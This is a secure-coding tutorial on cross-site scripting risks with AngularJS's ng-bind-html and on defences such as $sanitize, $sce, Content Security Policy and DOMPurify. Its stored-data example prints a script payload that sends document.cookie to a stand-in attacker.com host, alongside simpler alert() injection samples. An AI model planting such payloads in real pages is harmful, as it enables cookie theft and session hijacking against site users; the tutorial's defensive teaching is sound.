Angular’s ng-bind-html
directive allows you to bind HTML content dynamically. However, if untrusted user-generated content is passed without proper sanitization, it can lead to Cross-Site Scripting (XSS) attacks. This can allow attackers to execute malicious JavaScript in a victim’s browser, leading to data theft, session hijacking, or other security breaches.
1. Understanding ng-bind-html
and Why It Can Be Dangerous
What is ng-bind-html
?
ng-bind-html
is an Angular directive that dynamically binds HTML content into an element and renders it as actual HTML.
Example:
<div ng-bind-html="userInput"></div>
If userInput
contains:
$scope.userInput = "<script>alert('XSS Attack!');</script>";
The browser executes this script, leading to an XSS attack.
2. How Does XSS Happen with ng-bind-html
?
XSS can occur in two main ways when using ng-bind-html
:
1. Direct User Input Injection
If user input is directly assigned to ng-bind-html
without sanitization, attackers can inject scripts.
Example (Vulnerable Code)
<div ng-bind-html="userInput"></div>
$scope.userInput = "<script>alert('XSS!');</script>";
This executes the script and triggers an XSS attack.
2. Manipulating Stored Data
If an application stores user-generated HTML (e.g., a blog comment system) and renders it via ng-bind-html
, an attacker can inject:
<b>Click here!</b><script>fetch('https://attacker.com/steal?cookies=' + document.cookie);</script>
This sends the user’s cookies to the attacker’s server.
3. How to Prevent XSS with ng-bind-html
?
1. Use $sce.trustAsHtml
Cautiously
Angular has a Strict Contextual Escaping (SCE) mechanism through $sce
to prevent XSS.
Bad Practice:
$scope.userInput = $sce.trustAsHtml("<script>alert('Hacked!');</script>");
This bypasses Angular’s built-in security and is dangerous.
Secure Approach:
$scope.safeHTML = $sce.trustAsHtml(sanitizeHtml(userInput));
This ensures only safe HTML is rendered.
2. Use Angular’s $sanitize
Service
Angular provides a built-in $sanitize
service that automatically removes malicious scripts.
First, include the ngSanitize
module:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular-sanitize/1.8.2/angular-sanitize.min.js"></script>
Then, inject $sanitize
into the controller:
app.controller("MainCtrl", function ($scope, $sanitize) {
$scope.userInput = $sanitize("<script>alert('XSS');</script>"); // Removes script tag
});
Effect: The <script>
tag is stripped, preventing XSS.
3. Use a Content Security Policy (CSP)
A CSP helps block XSS by restricting script execution.
Add this in your server’s HTTP headers:
Content-Security-Policy: default-src 'self'; script-src 'self';
This prevents inline scripts from running, even if injected.
4. Never Use dangerouslySetInnerHTML
in React
If migrating to React, avoid:
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Instead, use DOMPurify:
import DOMPurify from "dompurify";
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />